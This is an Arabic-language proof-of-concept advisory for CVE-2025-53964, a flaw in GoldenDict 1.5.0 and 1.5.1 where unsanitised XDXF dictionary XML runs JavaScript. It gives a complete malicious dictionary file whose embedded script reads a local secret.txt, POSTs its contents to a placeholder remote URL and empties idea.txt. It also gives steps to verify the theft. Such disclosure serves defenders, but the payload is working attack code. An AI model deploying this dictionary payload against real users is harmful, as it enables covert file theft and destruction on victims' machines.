
استغلال إثبات المفهوم لـ CVE-2025-53964: قراءة/كتابة ملفات عن بُعد عبر قاموس XDXF خبيث في GoldenDict 1.5.0/1.5.1، مستغلاً XML غير معقم وتنفيذ JavaScript.
CVSS v3: (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L) - 9.6/10
يحتوي GoldenDict 1.5.0 و1.5.1 على طريقة خطيرة مكشوفة تسمح بقراءة الملفات وتعديلها عندما يضيف المستخدم قاموسًا مصممًا بعناية ثم يبحث عن أي مصطلح وارد في ذلك القاموس.
يوفر المنتج واجهة للتفاعل مع جهات خارجية، وتتضمن هذه الواجهة طريقة خطيرة في GoldenDict (الإصدارات 1.5.0 و1.5.1) غير مقيدة بشكل صحيح. وهذا يسمح لمهاجم عن بُعد بالوصول إلى الملفات الموجودة على نظام ملفات المستخدم وقراءتها وتعديلها عند إضافة قاموس خبيث مُعدّ مسبقًا واستخدامه في البرنامج.
CWE-749: كشف طريقة أو دالة خطيرة؛ CWE-79: تحييد غير صحيح للمدخلات أثناء توليد صفحة الويب ('Cross-site Scripting')
GoldenDict Project
GoldenDict - 1.5.0, 1.5.1
ملف GoldenDict القابل للتنفيذ، ملف الكود المصدري xdxf.cc، ملف الكود المصدري xdxf2html.cc، ملف الكود المصدري stardict.cc.
عن بُعد
true
true
الوصول إلى قراءة الملفات وتعديلها على نظام ملفات المستخدم
لاستغلال الثغرة، يجب على المستخدم إضافة قاموس خبيث إلى البرنامج والبحث عن أي مصطلح وارد في ذلك القاموس.
Grebennikov Timofey، متخصص في مجموعة اختبار الاختراق التابعة لإدارة مراقبة الأمن بقسم التطوير بمجموعة Astra.
https://github.com/goldendict/goldendict/releases
GoldenDict هو برنامج رسومي للبحث عن المصطلحات في ويكيبيديا والقواميس المثبتة محليًا. يتم دعم صيغ متعددة للقواميس، بما في ذلك صيغة XDXF مع ترميز XML. ويتم توزيع القواميس على الإنترنت بواسطة مستخدمين آخرين.
يستخدم البرنامج محرك متصفح مضمّنًا في حزمة مكونات Qt Widgets لعرض كلمات القواميس وإظهارها.
تم اكتشاف عدة انتهاكات أمنية في الوقت نفسه، مما يتيح إمكانية استغلال ثغرة حرجة:
وتؤدي هذه الانتهاكات مجتمعةً إلى إمكانية الوصول إلى ملفات المستخدم عبر تضمين كود JS خبيث في ترميز XML لقاموس XDXF تم تنزيله من الإنترنت.
لاختبار الثغرة على نظام Windows، يمكنك تشغيل سكربت يؤثر على ملفين مُعدّين في نظام الملفات.
<?xml version="1.0" encoding="UTF-8"?>
<xdxf lang_from="ENG" lang_to="RUS" format="logical">
<full_name>Malicious dictionary</full_name>
<description>You have been pwned!</description>
<meta_info>
<copyright>Public Domain</copyright>
</meta_info>
<lexicon>
<ar>
<k>vuln_test</k>
<def>
Some description...
<script>
var secretFile = 'file:///C:/Users/Public/Documents/secret.txt';
var ideaFile = 'file:///C:/Users/Public/Documents/idea.txt';
var xhr = new XMLHttpRequest();
xhr.open('GET', secretFile, true);
xhr.onload = function() {
var secretData = xhr.responseText;
if (secretData.length > 0) {
var xhr2 = new XMLHttpRequest();
xhr2.open('POST', '[Target-URL]', true);
xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr2.send('data=' + encodeURIComponent(secretData));
}
};
xhr.onerror = function() {
};
xhr.send();
var xhr3 = new XMLHttpRequest();
xhr3.open('PUT', ideaFile, true);
xhr3.setRequestHeader('Content-Type', 'text/plain');
xhr3.send("");
</script>
</def>
</ar>
</lexicon>
</xdxf>
عند تهيئته، سيرسل هذا القاموس محتويات secret.txt إلى الخادم البعيد ويمسح ملف idea.txt.
تحقق من نجاح الهجوم – سيستلم المتلقي رسالة تحتوي على محتويات ملف secret.txt، وسيكون ملف idea.txt فارغًا.
تؤثر الثغرة على كل من أنظمة Windows وLinux. لإعادة إنتاج الثغرة على نظام Linux، من الضروري استخدام مجلدات مختلفة لتخزين ملفات الاختبار وتحديد ذلك في الكود الخبيث.